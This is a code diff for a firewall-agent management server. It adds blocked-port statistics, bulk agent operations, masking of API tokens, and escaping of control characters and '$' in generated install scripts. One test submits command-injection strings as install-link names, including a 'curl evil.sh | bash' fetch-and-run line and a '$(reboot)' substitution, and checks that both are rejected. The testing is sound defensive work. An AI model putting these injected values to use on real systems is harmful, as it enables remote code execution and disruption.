}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
@@ -28,12 +28,40 @@ export const statsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const items = repos.listIpBlockStats(app.db, agent.id)
|
||||
const portsByIp = repos.mapTopPortsByIp(
|
||||
app.db,
|
||||
agent.id,
|
||||
items.map((s) => s.ip),
|
||||
5,
|
||||
)
|
||||
return {
|
||||
items: repos.listIpBlockStats(app.db, agent.id).map((s) => ({
|
||||
items: items.map((s) => ({
|
||||
ip: s.ip,
|
||||
packets: s.packets,
|
||||
first_seen_at: s.firstSeenAt,
|
||||
last_seen_at: s.lastSeenAt,
|
||||
ports: (portsByIp.get(s.ip) ?? []).map((p) => ({
|
||||
port: p.port,
|
||||
protocol: p.protocol,
|
||||
packets: p.packets,
|
||||
})),
|
||||
})),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Params: { id: string } }>(
|
||||
'/agents/:id/blocked-ports',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
return {
|
||||
items: repos.listPortBlockStatsAggregate(app.db, agent.id, 50).map((s) => ({
|
||||
port: s.port,
|
||||
protocol: s.protocol,
|
||||
packets: s.packets,
|
||||
last_seen_at: s.lastSeenAt,
|
||||
})),
|
||||
}
|
||||
},
|
||||
@@ -52,6 +80,7 @@ export const statsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
})
|
||||
repos.deleteStatsSamplesForAgent(app.db, agent.id)
|
||||
repos.deleteIpBlockStatsForAgent(app.db, agent.id)
|
||||
repos.deletePortBlockStatsForAgent(app.db, agent.id)
|
||||
auditMutation(app, config, req, {
|
||||
action: 'agent.stats_reset',
|
||||
severity: 'info',
|
||||
|
||||
@@ -38,3 +38,17 @@ try {
|
||||
app.log.error(err)
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
|
||||
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
|
||||
process.on(signal, () => {
|
||||
app.log.info(`${signal} received, shutting down`)
|
||||
app
|
||||
.close()
|
||||
.then(() => process.exit(0))
|
||||
.catch((err) => {
|
||||
app.log.error(err, 'error during shutdown')
|
||||
process.exit(1)
|
||||
})
|
||||
})
|
||||
}
|
||||
Whitespace-only changes.
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('agents CRUD critical paths', () => {
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function createInvitedAgent(
|
||||
app: Awaited<ReturnType<typeof buildApp>>,
|
||||
name: string,
|
||||
): Promise<string> {
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
expect(created.statusCode).toBe(201)
|
||||
return (created.json() as { agent_id: string }).agent_id
|
||||
}
|
||||
|
||||
describe('bulk agent operations', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('approve-bulk approves invited agents in one request', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'bulk-01')
|
||||
const a2 = await createInvitedAgent(app, 'bulk-02')
|
||||
const a3 = await createInvitedAgent(app, 'bulk-03')
|
||||
|
||||
const bulk = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1, a2, a3] },
|
||||
})
|
||||
expect(bulk.statusCode).toBe(200)
|
||||
const body = bulk.json() as { items: { id: string; status: string }[] }
|
||||
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
|
||||
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
|
||||
|
||||
// shared default set assigned on approve
|
||||
for (const id of [a1, a2, a3]) {
|
||||
const sets = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${id}/policy-sets`,
|
||||
})
|
||||
const items = (sets.json() as { items: { set_id: string }[] }).items
|
||||
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
|
||||
}
|
||||
|
||||
// repeated bulk is a no-op (already approved)
|
||||
const again = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1] },
|
||||
})
|
||||
expect(again.statusCode).toBe(200)
|
||||
expect((again.json() as { items: unknown[] }).items).toEqual([])
|
||||
})
|
||||
|
||||
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'assign-01')
|
||||
const a2 = await createInvitedAgent(app, 'assign-02')
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1, a2] },
|
||||
})
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/policy-sets',
|
||||
payload: { name: 'bulk-assign-set' },
|
||||
})
|
||||
const setId = (created.json() as { id: string }).id
|
||||
|
||||
// assign both
|
||||
const put = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [a1, a2] },
|
||||
})
|
||||
expect(put.statusCode).toBe(200)
|
||||
expect((put.json() as { added: string[] }).added.sort()).toEqual(
|
||||
[a1, a2].sort(),
|
||||
)
|
||||
|
||||
// a1 keeps set when a2 removed; shared default preserved for both
|
||||
const drop = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [a1] },
|
||||
})
|
||||
expect(drop.statusCode).toBe(200)
|
||||
const dropBody = drop.json() as {
|
||||
agent_ids: string[]
|
||||
removed: string[]
|
||||
}
|
||||
expect(dropBody.agent_ids).toEqual([a1])
|
||||
expect(dropBody.removed).toEqual([a2])
|
||||
|
||||
const setsA1 = (
|
||||
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
|
||||
.json() as { items: { set_id: string }[] }
|
||||
).items.map((s) => s.set_id)
|
||||
const setsA2 = (
|
||||
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
|
||||
.json() as { items: { set_id: string }[] }
|
||||
).items.map((s) => s.set_id)
|
||||
expect(setsA1).toContain(setId)
|
||||
expect(setsA2).not.toContain(setId)
|
||||
expect(setsA2).toContain('set-shared-default')
|
||||
|
||||
// empty array clears the whole assignment
|
||||
const clear = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [] },
|
||||
})
|
||||
expect(clear.statusCode).toBe(200)
|
||||
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
|
||||
|
||||
// unknown agent → 404, and nothing changed
|
||||
const bad = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: ['no-such-agent'] },
|
||||
})
|
||||
expect(bad.statusCode).toBe(404)
|
||||
})
|
||||
|
||||
it('delete-bulk removes agents in one request and skips unknown ids', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'bulk-del-01')
|
||||
const a2 = await createInvitedAgent(app, 'bulk-del-02')
|
||||
const a3 = await createInvitedAgent(app, 'bulk-del-03')
|
||||
|
||||
const bulk = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/delete-bulk',
|
||||
payload: { agent_ids: [a1, a2, 'no-such-agent'] },
|
||||
})
|
||||
expect(bulk.statusCode).toBe(200)
|
||||
const body = bulk.json() as { items: string[]; deleted: number }
|
||||
expect(body.deleted).toBe(2)
|
||||
expect(body.items.sort()).toEqual([a1, a2].sort())
|
||||
|
||||
for (const id of [a1, a2]) {
|
||||
const res = await app.inject({ method: 'GET', url: `/api/v1/agents/${id}` })
|
||||
expect(res.statusCode).toBe(404)
|
||||
}
|
||||
|
||||
// a3 не упомянут в запросе — остаётся на месте
|
||||
const kept = await app.inject({ method: 'GET', url: `/api/v1/agents/${a3}` })
|
||||
expect(kept.statusCode).toBe(200)
|
||||
})
|
||||
})
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('install-links', () => {
|
||||
@@ -112,6 +116,55 @@ describe('install-links', () => {
|
||||
expect(row?.status).toBe('pending')
|
||||
})
|
||||
|
||||
it('rejects install link names with unsafe characters', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const bad = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||
})
|
||||
expect(bad.statusCode).toBe(400)
|
||||
|
||||
const quotes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||
})
|
||||
expect(quotes.statusCode).toBe(400)
|
||||
})
|
||||
|
||||
it('masks per-list api_token in list responses', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'evobgp-masked',
|
||||
type: 'evobgp_community',
|
||||
config: {
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: '',
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(created.statusCode).toBe(200)
|
||||
const body = created.json() as { config_json: string }
|
||||
expect(body.config_json).not.toContain('super-secret-token')
|
||||
expect(body.config_json).toContain('********')
|
||||
|
||||
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||
expect(
|
||||
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||
).toBe(false)
|
||||
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||
})
|
||||
|
||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
@@ -193,13 +246,15 @@ describe('install-links', () => {
|
||||
policy_mode: string
|
||||
apply_version: number
|
||||
hash: string
|
||||
script_sha256: string
|
||||
}
|
||||
expect(body.deny_cidrs).toEqual([])
|
||||
expect(body.allow_cidrs).toEqual([])
|
||||
expect(body.default_action).toBe('accept')
|
||||
expect(body.policy_mode).toBe('blacklist')
|
||||
expect(body.apply_version).toBe(2)
|
||||
expect(body.apply_version).toBe(3)
|
||||
expect(body.hash).toMatch(/^sha256:/)
|
||||
expect(body.script_sha256).toMatch(/^[a-f0-9]{64}$/)
|
||||
|
||||
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
||||
const row = (
|
||||
@@ -259,4 +314,70 @@ describe('install-links', () => {
|
||||
expect(rsc.body).toContain('EVOFW_DENY')
|
||||
expect(rsc.body).toContain('203.0.113.0/24')
|
||||
})
|
||||
|
||||
it('sync-script serves ETag and 304 on If-None-Match', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const first = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/v1/agent/sync-script',
|
||||
})
|
||||
expect(first.statusCode).toBe(200)
|
||||
expect(first.body.startsWith('#!')).toBe(true)
|
||||
expect(first.body).toContain('maybe_self_update')
|
||||
const etag = String(first.headers.etag ?? '')
|
||||
const sha = String(first.headers['x-evofw-script-sha256'] ?? '')
|
||||
expect(etag).toMatch(/^"[a-f0-9]{64}"$/)
|
||||
expect(sha).toBe(etag.replaceAll('"', ''))
|
||||
|
||||
const cached = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/v1/agent/sync-script',
|
||||
headers: { 'if-none-match': etag },
|
||||
})
|
||||
expect(cached.statusCode).toBe(304)
|
||||
|
||||
const miss = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/v1/agent/sync-script',
|
||||
headers: { 'if-none-match': '"deadbeef"' },
|
||||
})
|
||||
expect(miss.statusCode).toBe(200)
|
||||
expect(miss.body).toBe(first.body)
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'script-sha-policy', platform: 'linux' },
|
||||
})
|
||||
const link = created.json() as { id: string; agent_id: string }
|
||||
const token = 'evofw_script_sha_token_abcdefghij'
|
||||
const enroll = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/enroll',
|
||||
headers: {
|
||||
'content-type': 'application/json',
|
||||
'x-evofw-seed': 'test-seed',
|
||||
},
|
||||
payload: {
|
||||
name: 'script-sha-policy',
|
||||
platform: 'linux',
|
||||
token,
|
||||
install_link_id: link.id,
|
||||
},
|
||||
})
|
||||
expect(enroll.statusCode).toBe(201)
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${link.agent_id}/approve`,
|
||||
})
|
||||
const policy = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/v1/agent/policy',
|
||||
headers: { authorization: `Bearer ${token}` },
|
||||
})
|
||||
expect(policy.statusCode).toBe(200)
|
||||
expect((policy.json() as { script_sha256: string }).script_sha256).toBe(sha)
|
||||
})
|
||||
})
|
||||
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
|
||||
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
||||
}
|
||||
|
||||
/** Strip control characters that have no business inside generated scripts. */
|
||||
function stripControlChars(s: string): string {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return s.replace(/[\x00-\x1f\x7f]/g, '')
|
||||
}
|
||||
|
||||
function escapeRosString(s: string): string {
|
||||
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
|
||||
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
|
||||
return stripControlChars(s)
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/"/g, '\\"')
|
||||
.replace(/\$/g, '\\$')
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
|
||||
platform: string
|
||||
installLinkId: string
|
||||
}): string {
|
||||
const cp = opts.cpUrl.replace(/\/$/, '')
|
||||
const escape = (s: string) => s.replace(/'/g, `'\\''`)
|
||||
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
|
||||
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
|
||||
const header = [
|
||||
'#!/usr/bin/env bash',
|
||||
'# EvoFirewall short install link — env pre-set',
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
@@ -140,6 +144,73 @@ describe('apply-report ip_hits / blocked-ips', () => {
|
||||
expect(body2.items.find((i) => i.ip === '203.0.113.10')?.packets).toBe(18)
|
||||
expect(body2.items.find((i) => i.ip === '198.51.100.0/24')?.packets).toBe(5)
|
||||
|
||||
// Simulate nft flush: Traffic absolute drops; ip_hits omit zeros → baselines must reset
|
||||
const reportReset = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
prefix_count: 2,
|
||||
packets_dropped: 0,
|
||||
packets_accepted: 0,
|
||||
kernel_method: 'nft',
|
||||
source: 'agent',
|
||||
ip_hits: [],
|
||||
},
|
||||
})
|
||||
expect(reportReset.statusCode).toBe(200)
|
||||
|
||||
const report3 = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
prefix_count: 2,
|
||||
packets_dropped: 7,
|
||||
packets_accepted: 0,
|
||||
kernel_method: 'nft',
|
||||
source: 'agent',
|
||||
ip_hits: [
|
||||
{ ip: '203.0.113.10', packets: 4 },
|
||||
{ ip: '198.51.100.0/24', packets: 3 },
|
||||
],
|
||||
},
|
||||
})
|
||||
expect(report3.statusCode).toBe(200)
|
||||
|
||||
const listAfterFlush = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/blocked-ips`,
|
||||
})
|
||||
const bodyFlush = listAfterFlush.json() as {
|
||||
items: { ip: string; packets: number }[]
|
||||
}
|
||||
// First epoch 18+5 plus second epoch 4+3
|
||||
expect(bodyFlush.items.find((i) => i.ip === '203.0.113.10')?.packets).toBe(
|
||||
22,
|
||||
)
|
||||
expect(
|
||||
bodyFlush.items.find((i) => i.ip === '198.51.100.0/24')?.packets,
|
||||
).toBe(8)
|
||||
|
||||
const agentAfter = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}`,
|
||||
})
|
||||
const agentBody = agentAfter.json() as {
|
||||
total_packets_dropped?: number
|
||||
}
|
||||
// Traffic: 25 + 0 + 7 = 32
|
||||
expect(agentBody.total_packets_dropped).toBe(32)
|
||||
|
||||
const reset = await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${agentId}/stats/reset`,
|
||||
@@ -185,4 +256,267 @@ describe('apply-report ip_hits / blocked-ips', () => {
|
||||
})
|
||||
expect(report.statusCode).toBeGreaterThanOrEqual(400)
|
||||
})
|
||||
|
||||
it('mikrotik presence: continuous sync refreshes last_seen without +1; rehit after stale gap', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'mt-hits', platform: 'mikrotik' },
|
||||
})
|
||||
const link = created.json() as { id: string; agent_id: string }
|
||||
const token = 'evofw_mt_hits_token_abcdefghijk'
|
||||
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/enroll',
|
||||
headers: {
|
||||
'content-type': 'application/json',
|
||||
'x-evofw-seed': 'test-seed',
|
||||
},
|
||||
payload: {
|
||||
name: 'mt-hits',
|
||||
platform: 'mikrotik',
|
||||
token,
|
||||
install_link_id: link.id,
|
||||
},
|
||||
})
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${link.agent_id}/approve`,
|
||||
})
|
||||
|
||||
const reportPayload = (dropped: number) => ({
|
||||
status: 'ok',
|
||||
packets_dropped: dropped,
|
||||
kernel_method: 'address-list',
|
||||
source: 'mikrotik',
|
||||
ip_hits: [{ ip: '203.0.113.50', packets: 1 }],
|
||||
})
|
||||
|
||||
expect(
|
||||
(
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: reportPayload(3),
|
||||
})
|
||||
).statusCode,
|
||||
).toBe(200)
|
||||
|
||||
const list1 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${link.agent_id}/blocked-ips`,
|
||||
})
|
||||
const body1 = list1.json() as {
|
||||
items: { ip: string; packets: number; last_seen_at: string }[]
|
||||
}
|
||||
expect(body1.items).toHaveLength(1)
|
||||
expect(body1.items[0]?.packets).toBe(1)
|
||||
const firstSeen = body1.items[0]!.last_seen_at
|
||||
|
||||
await new Promise((r) => setTimeout(r, 5))
|
||||
|
||||
expect(
|
||||
(
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: reportPayload(5),
|
||||
})
|
||||
).statusCode,
|
||||
).toBe(200)
|
||||
|
||||
const list2 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${link.agent_id}/blocked-ips`,
|
||||
})
|
||||
const body2 = list2.json() as {
|
||||
items: { ip: string; packets: number; last_seen_at: string }[]
|
||||
}
|
||||
expect(body2.items[0]?.packets).toBe(1)
|
||||
expect(body2.items[0]!.last_seen_at >= firstSeen).toBe(true)
|
||||
|
||||
// Re-entry after stale gap (> PRESENCE_REHIT_STALE_MS): simulate via future `now`
|
||||
const { repos } = await import('@evofw/db')
|
||||
repos.upsertIpBlockStats(
|
||||
app.db,
|
||||
link.agent_id,
|
||||
[{ ip: '203.0.113.50', packets: 1 }],
|
||||
new Date(Date.now() + 200_000).toISOString(),
|
||||
{ mode: 'presence' },
|
||||
)
|
||||
|
||||
const list3 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${link.agent_id}/blocked-ips`,
|
||||
})
|
||||
expect(
|
||||
(list3.json() as { items: { packets: number }[] }).items[0]?.packets,
|
||||
).toBe(2)
|
||||
})
|
||||
})
|
||||
|
||||
describe('apply-report port_hits / blocked-ports', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('upserts port_hits with delta accumulation, aggregate, per-IP ports, reset', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { agentId, token } = await enrollApprovedLinux(
|
||||
app,
|
||||
'port-hits-01',
|
||||
'evofw_port_hits_token_abcdefg',
|
||||
)
|
||||
|
||||
const report1 = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
prefix_count: 1,
|
||||
packets_dropped: 30,
|
||||
packets_accepted: 0,
|
||||
kernel_method: 'nft',
|
||||
source: 'agent',
|
||||
ip_hits: [{ ip: '203.0.113.10', packets: 20 }],
|
||||
port_hits: [
|
||||
{ ip: '203.0.113.10', port: 22, protocol: 'tcp', packets: 12 },
|
||||
{ ip: '203.0.113.10', port: 53, protocol: 'udp', packets: 8 },
|
||||
{ ip: '198.51.100.7', port: 22, protocol: 'tcp', packets: 5 },
|
||||
],
|
||||
},
|
||||
})
|
||||
expect(report1.statusCode).toBe(200)
|
||||
|
||||
const ports1 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/blocked-ports`,
|
||||
})
|
||||
expect(ports1.statusCode).toBe(200)
|
||||
const agg1 = ports1.json() as {
|
||||
items: {
|
||||
port: number
|
||||
protocol: string
|
||||
packets: number
|
||||
last_seen_at: string
|
||||
}[]
|
||||
}
|
||||
expect(agg1.items[0]?.port).toBe(22)
|
||||
expect(agg1.items[0]?.protocol).toBe('tcp')
|
||||
expect(agg1.items[0]?.packets).toBe(17) // 12+5
|
||||
expect(agg1.items.find((i) => i.port === 53)?.packets).toBe(8)
|
||||
|
||||
const ips1 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/blocked-ips`,
|
||||
})
|
||||
const ipBody = ips1.json() as {
|
||||
items: {
|
||||
ip: string
|
||||
ports?: { port: number; protocol: string; packets: number }[]
|
||||
}[]
|
||||
}
|
||||
const row10 = ipBody.items.find((i) => i.ip === '203.0.113.10')
|
||||
expect(row10?.ports?.map((p) => `${p.protocol}/${p.port}`)).toEqual([
|
||||
'tcp/22',
|
||||
'udp/53',
|
||||
])
|
||||
|
||||
const report2 = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
packets_dropped: 40,
|
||||
kernel_method: 'nft',
|
||||
source: 'agent',
|
||||
port_hits: [
|
||||
{ ip: '203.0.113.10', port: 22, protocol: 'tcp', packets: 15 },
|
||||
],
|
||||
},
|
||||
})
|
||||
expect(report2.statusCode).toBe(200)
|
||||
|
||||
const ports2 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/blocked-ports`,
|
||||
})
|
||||
const agg2 = ports2.json() as {
|
||||
items: { port: number; protocol: string; packets: number }[]
|
||||
}
|
||||
// tcp/22: 17 + (15-12) = 20
|
||||
expect(
|
||||
agg2.items.find((i) => i.port === 22 && i.protocol === 'tcp')?.packets,
|
||||
).toBe(20)
|
||||
|
||||
const reset = await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${agentId}/stats/reset`,
|
||||
})
|
||||
expect(reset.statusCode).toBe(200)
|
||||
|
||||
const ports3 = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/blocked-ports`,
|
||||
})
|
||||
expect((ports3.json() as { items: unknown[] }).items).toEqual([])
|
||||
})
|
||||
|
||||
it('rejects port_hits longer than 500', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { token } = await enrollApprovedLinux(
|
||||
app,
|
||||
'port-hits-max',
|
||||
'evofw_port_hits_max_token_abc',
|
||||
)
|
||||
|
||||
const hits = Array.from({ length: 501 }, (_, i) => ({
|
||||
ip: `203.0.113.${(i % 254) + 1}`,
|
||||
port: (i % 65535) + 1,
|
||||
protocol: i % 2 === 0 ? 'tcp' : 'udp',
|
||||
packets: 1,
|
||||
}))
|
||||
|
||||
const report = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
packets_dropped: 501,
|
||||
port_hits: hits,
|
||||
},
|
||||
})
|
||||
expect(report.statusCode).toBeGreaterThanOrEqual(400)
|
||||
})
|
||||
})
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
} from '@evofw/shared'
|
||||
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { maskListConfig } from '../secret-cipher.js'
|
||||
|
||||
export function getListConfig(list: {
|
||||
configJson: string
|
||||
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
rebuildManualListEntries,
|
||||
} from './entries.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { decryptSecret } from '../secret-cipher.js'
|
||||
|
||||
function hashCidrs(cidrs: string[]): string {
|
||||
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
||||
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
|
||||
repos.replaceIpListEntries(db, listId, cidrs)
|
||||
} else if (list.type === 'evobgp_community') {
|
||||
const apiUrl =
|
||||
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
|
||||
String(config.api_url ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_url') ||
|
||||
''
|
||||
const token =
|
||||
String(config.api_token ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_token')
|
||||
decryptSecret(String(config.api_token ?? '') || null) ??
|
||||
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
|
||||
const communityId = String(config.community_id ?? '')
|
||||
if (!apiUrl || !token || !communityId) {
|
||||
throw new Error('evobgp_api_url, token and community_id required')
|
||||
